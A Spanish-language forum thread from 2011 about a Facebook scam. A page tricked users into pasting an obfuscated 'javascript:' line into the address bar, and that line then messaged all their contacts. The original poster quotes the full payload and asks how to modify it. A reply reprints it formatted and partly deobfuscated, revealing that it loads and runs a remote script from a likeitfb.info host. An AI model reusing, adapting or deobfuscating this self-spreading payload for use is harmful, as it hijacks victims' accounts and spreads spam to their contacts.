javascript Facebook

Iniciado por Dunkansdk, 4 Agosto 2011, 21:34 PM

0 Miembros y 1 Visitante están viendo este tema.

Dunkansdk

Hola a todos les comento que pasó, hay una página en facebook que te hace copiar y pegar en la dirección esto:

Citarjavascript:var _0x53f5=["\x37\x3A\x28\x61\x3D\x28\x62\x3D\x38\x29\x2E\x39\x28\x27\x36\x27\x29\x29\x2E\x63\x3D\x27\x2F\x2F\x35\x2E\x32\x2E\x33\x2E\x34\x2F\x31\x2F\x31\x2E\x64\x3F\x69\x3D\x27\x2B\x6A\x2E\x68\x28\x29\x2C\x62\x2E\x65\x2E\x66\x28\x61\x29\x3B\x67\x28\x30\x29","\x7C","\x73\x70\x6C\x69\x74","\x7C\x6E\x6F\x76\x69\x6F\x7C\x70\x72\x75\x65\x62\x61\x70\x69\x7C\x6C\x69\x6B\x65\x69\x74\x66\x62\x7C\x69\x6E\x66\x6F\x7C\x77\x77\x77\x7C\x73\x63\x72\x69\x70\x74\x7C\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x7C\x7C\x73\x72\x63\x7C\x6A\x73\x7C\x62\x6F\x64\x79\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x76\x6F\x69\x64\x7C\x72\x61\x6E\x64\x6F\x6D\x7C\x74\x6F\x6B\x65\x6E\x7C\x4D\x61\x74\x68","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0x24d3x1,_0x24d3x2,_0x24d3x3,_0x24d3x4,_0x24d3x5,_0x24d3x6){_0x24d3x5=function (_0x24d3x3){return _0x24d3x3.toString(36);} ;if(!_0x53f5[5][_0x53f5[4]](/^/,String)){while(_0x24d3x3--){_0x24d3x6[_0x24d3x3.toString(_0x24d3x2)]=_0x24d3x4[_0x24d3x3]||_0x24d3x3.toString(_0x24d3x2);} ;_0x24d3x4=[function (_0x24d3x5){return _0x24d3x6[_0x24d3x5];} ];_0x24d3x5=function (){return _0x53f5[6];} ;_0x24d3x3=1;} ;while(_0x24d3x3--){if(_0x24d3x4[_0x24d3x3]){_0x24d3x1=_0x24d3x1[_0x53f5[4]]( new RegExp(_0x53f5[7]+_0x24d3x5(_0x24d3x3)+_0x53f5[7],_0x53f5[8]),_0x24d3x4[_0x24d3x3]);} ;} ;return _0x24d3x1;} (_0x53f5[0],20,20,_0x53f5[3][_0x53f5[2]](_0x53f5[1]),0,{}));

Y luego envía este mensaje a todos tus contactos conectados:
Citardefinitivamente este es el novio mas valiente del mundo, mira lo que hizo por su novia: http://www.facebook.com/pages/El-novio-mas-valiente-del-mundo-Video/212722378775873

Me gustaría que me expliquen como modificarlo, ese mensaje esta en hex? o como es la cosa?

Un abrazo grande !

Shell Root

#1
Sí se supone que ese código esta ofuscado.

Código (javascript) [Seleccionar]
javascript: var _0x53f5 = ["\x37\x3A\x28\x61\x3D\x28\x62\x3D\x38\x29\x2E\x39\x28\x27\x36\x27\x29\x29\x2E\x63\x3D\x27\x2F\x2F\x35\x2E\x32\x2E\x33\x2E\x34\x2F\x31\x2F\x31\x2E\x64\x3F\x69\x3D\x27\x2B\x6A\x2E\x68\x28\x29\x2C\x62\x2E\x65\x2E\x66\x28\x61\x29\x3B\x67\x28\x30\x29", "\x7C", "\x73\x70\x6C\x69\x74", "\x7C\x6E\x6F\x76\x69\x6F\x7C\x70\x72\x75\x65\x62\x61\x70\x69\x7C\x6C\x69\x6B\x65\x69\x74\x66\x62\x7C\x69\x6E\x66\x6F\x7C\x77\x77\x77\x7C\x73\x63\x72\x69\x70\x74\x7C\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x7C\x7C\x73\x72\x63\x7C\x6A\x73\x7C\x62\x6F\x64\x79\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x76\x6F\x69\x64\x7C\x72\x61\x6E\x64\x6F\x6D\x7C\x74\x6F\x6B\x65\x6E\x7C\x4D\x61\x74\x68", "\x72\x65\x70\x6C\x61\x63\x65", "", "\x5C\x77\x2B", "\x5C\x62", "\x67"];
eval(function(_0x24d3x1, _0x24d3x2, _0x24d3x3, _0x24d3x4, _0x24d3x5, _0x24d3x6) {
   _0x24d3x5 = function(_0x24d3x3) {
       return _0x24d3x3.toString(36);
   };
   if (!_0x53f5[5][_0x53f5[4]](/^/, String)) {
       while (_0x24d3x3--) {
           _0x24d3x6[_0x24d3x3.toString(_0x24d3x2)] = _0x24d3x4[_0x24d3x3] || _0x24d3x3.toString(_0x24d3x2);
       };
       _0x24d3x4 = [function(_0x24d3x5) {
           return _0x24d3x6[_0x24d3x5];
       }];
       _0x24d3x5 = function() {
           return _0x53f5[6];
       };
       _0x24d3x3 = 1;
   };
   while (_0x24d3x3--) {
       if (_0x24d3x4[_0x24d3x3]) {
           _0x24d3x1 = _0x24d3x1[_0x53f5[4]](new RegExp(_0x53f5[7] + _0x24d3x5(_0x24d3x3) + _0x53f5[7], _0x53f5[8]), _0x24d3x4[_0x24d3x3]);
       };
   };
   return _0x24d3x1;
} (_0x53f5[0], 20, 20, _0x53f5[3][_0x53f5[2]](_0x53f5[1]), 0, {}));


Estrenaré mi Dreamweaver CS5 con estó :3


Quitando y reemplazando los valores del array _0x53f5,
Código (javascript) [Seleccionar]

eval(function(varOfus1, varOfus2, varOfus3, varOfus4, varOfus5, varOfus6) {
varOfus5 = function(varOfus3){
return varOfus3.toString(36);
};
if (!replace(/^/, String)){
while (varOfus3--) {
varOfus6[varOfus3.toString(varOfus2)] = varOfus4[varOfus3] || varOfus3.toString(varOfus2);
};
varOfus4 = [function(varOfus5) {
return varOfus6[varOfus5];
}];
varOfus5 = function() {
return '\w+';
};
varOfus3 = 1;
};
while (varOfus3--) {
if (varOfus4[varOfus3]) {
varOfus1 = varOfus1[replace](new RegExp('\b' + varOfus5(varOfus3) + '\b', g), varOfus4[varOfus3]);
};
};
return varOfus1;
} (
_0x53f5[0],
20,
20, '|novio|pruebapi|likeitfb|info|www|script|javascript|document|createElement|||src|js|body|appendChild|void|random|token|Math'.split(|),
0,
{}
  )
);


No podré pasar más de ahí, envía unos parámetros que ni idea de como pueda sacarlos.
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

Dunkansdk

Me ayudas a comprenderlo? jaaj